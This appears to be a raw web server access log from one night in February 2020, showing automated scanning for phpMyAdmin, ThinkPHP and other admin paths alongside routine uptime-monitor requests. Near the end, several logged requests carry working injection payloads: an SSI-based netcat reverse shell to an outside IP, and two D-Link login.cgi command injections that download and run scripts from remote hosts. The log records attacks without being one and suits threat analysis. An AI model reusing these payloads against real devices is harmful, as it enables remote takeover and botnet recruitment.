123.58.4.233 - - [29/Feb/2020:23:11:55 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:11:56 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:11:57 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:11:57 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:11:58 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:11:59 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:11:59 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:00 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:01 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:01 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:02 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:02 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:02 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:03 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:03 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:03 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:04 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:04 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:05 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:07 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:07 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:08 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:08 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:09 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:10 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:12 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:12 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:14 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:14 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:15 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:15 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:16 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:16 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:17 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:18 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:19 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:19 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:20 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:21 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:23 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:23 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:24 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:24 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:25 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:25 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:26 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:27 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:27 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:29 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:30 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:31 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:32 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:32 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:33 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:34 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:34 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:35 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:35 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:37 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:38 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:38 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:38 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:39 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:39 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:40 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:40 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:40 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:41 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:42 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:42 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:43 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:43 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:44 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [29/Feb/2020:23:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.58.4.233 - - [29/Feb/2020:23:12:45 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:46 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:46 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:47 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:47 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:48 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:50 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:51 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:51 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:52 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:53 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:54 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:54 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:55 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:55 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:56 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:57 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:58 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:59 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:12:59 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:13:00 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:13:02 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:13:03 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:13:08 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:13:08 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
123.58.4.233 - - [29/Feb/2020:23:13:09 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:23:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.161.37.89 - - [29/Feb/2020:23:15:48 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [29/Feb/2020:23:15:48 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [29/Feb/2020:23:15:49 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [29/Feb/2020:23:15:50 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [29/Feb/2020:23:15:50 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [29/Feb/2020:23:15:51 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [29/Feb/2020:23:15:51 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [29/Feb/2020:23:15:52 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [29/Feb/2020:23:15:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [29/Feb/2020:23:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [29/Feb/2020:23:20:53 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [29/Feb/2020:23:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.167.18.145 - - [29/Feb/2020:23:22:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:23:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.236.195.55 - - [29/Feb/2020:23:25:32 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [29/Feb/2020:23:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.14.172.128 - - [29/Feb/2020:23:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:23:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.14.172.128 - - [29/Feb/2020:23:29:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.253.208.39 - - [29/Feb/2020:23:30:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:23:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [29/Feb/2020:23:31:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [29/Feb/2020:23:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
